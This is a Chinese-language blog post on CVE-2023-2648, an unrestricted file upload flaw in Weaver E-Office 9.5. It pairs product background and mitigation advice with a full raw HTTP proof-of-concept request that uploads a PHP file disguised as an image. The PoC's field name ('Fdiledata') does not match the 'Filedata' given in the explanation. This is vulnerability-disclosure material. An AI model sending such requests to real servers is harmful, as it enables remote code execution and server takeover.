Weaver E-Office v9.5 文件上传漏洞(CVE-2023-2648)

前言

CVE-2023-2648 是一个在 Weaver E-Office 9.5 版本中发现的严重漏洞。此漏洞位于文件 /inc/jquery/uploadify/uploadify.php 中,通过操控 Filedata 参数,可以进行不受限制的文件上传。这一漏洞允许攻击者上传可能包含危险类型的文件,并在应用程序环境中执行。该漏洞可以通过远程发起攻击,且已被公开披露,构成了严重的安全风险。

此漏洞被分类为 CWE-434:不受限制的危险类型文件上传。根据 CVSS v3.1 评分,此漏洞的基本评分为 9.8,表明其严重性极高。这意味着它可以通过网络在无需用户交互或事先认证的情况下被利用,对保密性、完整性和可用性产生高影响​ (NVD)​​ (Tenable®)​​ (MITRE CVE)​​ (Aqua Vulnerability Database)​。

对此漏洞的缓解措施包括:

  1. 实施严格的输入验证,确保仅允许指定的文件类型和内容。
  2. 使用白名单方法,根据已知的良好标准验证输入。
  3. 在沙盒环境中运行应用程序,以限制潜在利用的影响。
  4. 使用如 AppArmor 或 SELinux 等安全机制来强制执行文件操作的严格边界​ (Aqua Vulnerability Database)​。

有关更多详情,可以参考 MITRE CVE 网站 和 国家漏洞数据库

介绍

Weaver E-Office是由泛微(Weaver)开发的一款标准办公自动化(OA)平台,主要面向中小型企业(SMEs)。该平台提供了超过30种应用,涵盖了知识管理、工作流、项目管理、客户管理、费用控制等多个业务功能,旨在提高企业的运营效率和业务流程的自动化程度​ (Overview | e-office User Manual)​​ (Weaver)​​ (Weaver)​。

功能概述

  1. 工作流协作:提供审批流程记录和统计报告,帮助标准化规则和流程。
  2. 知识系统:存储、检索和共享企业知识。
  3. 人力资源和行政管理:包括考勤管理、绩效考核、员工档案管理等。
  4. 费用管理:清晰的费用申请和报销流程,帮助控制费用。
  5. 项目管理:涵盖项目计划、执行和完成的全生命周期管理。
  6. 客户管理:提供企业级的客户管理,支持销售跟进和合同管理。
  7. 文档管理:集成业务记录和文件,提供智能化的文档工作流。

主要特点

  • 易于维护和安装:支持私有部署,适合中小企业的需求。
  • 预设模板:提供丰富的预设模板,帮助快速实现业务目标。
  • 低代码开发:用户无需编程技能,通过拖拽即可创建定制化的应用。
  • 跨平台部署:支持桌面和移动设备的集成使用。

使用场景

Weaver E-Office适用于多种业务场景,包括管理决策、员工入职、行政和人力资源管理、项目技术管理以及销售和客户服务等。通过整合不同模块的数据,企业可以更高效地运营,并更有效地利用业务洞察​ (Weaver)​​ (Weaver)​​ (Weaver)​。

安全性

系统具有“一键备份和快速数据恢复”功能,确保数据的安全性和可靠性。此外,它还提供简单易用的维护功能,是中小企业在一般管理和核心业务操作方面的最佳选择。

Weaver E-Office是一个高度灵活且功能强大的OA平台,能够帮助企业实现数字化协作和业务流程自动化,从而提升整体运营效率。

POC 分析 

POST /inc/jquery/uploadify/uploadify.php  HTTP/1.1
Host: xxxx8088
Content-Length: 204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Fdiledata"; filename="uploadify.php."
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
  1. HTTP 请求方法POST

    • 请求使用了 POST 方法,将数据上传到服务器。
  2. 请求路径/inc/jquery/uploadify/uploadify.php

    • 目标路径是 uploadify.php 文件,该文件是存在漏洞的部分。
  3. 头部信息

    • Host: 目标服务器地址(以 xxxx8088 作为示例)。
    • Content-Length: 请求体的长度。
    • Content-Type: 设置为 multipart/form-data,表示请求体中包含多个部分的数据。
    • User-Agent: 请求发送的客户端信息。
    • AcceptAccept-EncodingAccept-Language: 指定客户端接受的响应格式和语言。
  4. 请求体

    • Boundary:分隔符 ----WebKitFormBoundarydRVCGWq4Cx3Sq6tt 用于区分多个表单数据部分。
    • Content-Disposition:表明这是一个表单数据项,name="Filedata" 指定了表单字段名,filename="uploadify.php." 指定了上传的文件名。
    • Content-Type:虽然文件名是 .php,但类型被误导为 image/jpeg
    • 文件内容:PHP 代码 <?php phpinfo();?>,这是一个简单的 PHP 脚本,用于显示 PHP 的配置信息。

漏洞利用

  1. 文件上传:通过操控 Filedata 参数,将任意文件上传到服务器。由于文件类型检查不严格,攻击者可以上传包含恶意代码的 PHP 文件。
  2. 远程代码执行:上传的文件会在服务器上执行,导致远程代码执行。此处上传的 uploadify.php. 文件包含 PHP 代码 <?php phpinfo();?>,可在服务器上执行并显示 PHP 信息。

风险与防范

风险

  • 远程代码执行:攻击者可以上传并执行任意代码,完全控制服务器。
  • 信息泄露:通过上传恶意脚本,攻击者可以获取服务器上的敏感信息。

防范措施

  1. 严格验证文件类型:仅允许特定类型的文件上传,拒绝一切不符合要求的文件类型。
  2. 文件名检查:确保文件名没有危险的扩展名,例如 .php
  3. 使用白名单策略:仅接受已知良好的输入。
  4. 隔离上传目录:将上传的文件存储在一个仅允许有限权限访问的目录中,防止文件直接执行。

通过这些措施,可以有效减少此类漏洞被利用的风险。

漏洞复现 

uploadify.php 上传成功,返回随机文件夹名称

  • 39
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suc2es2

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值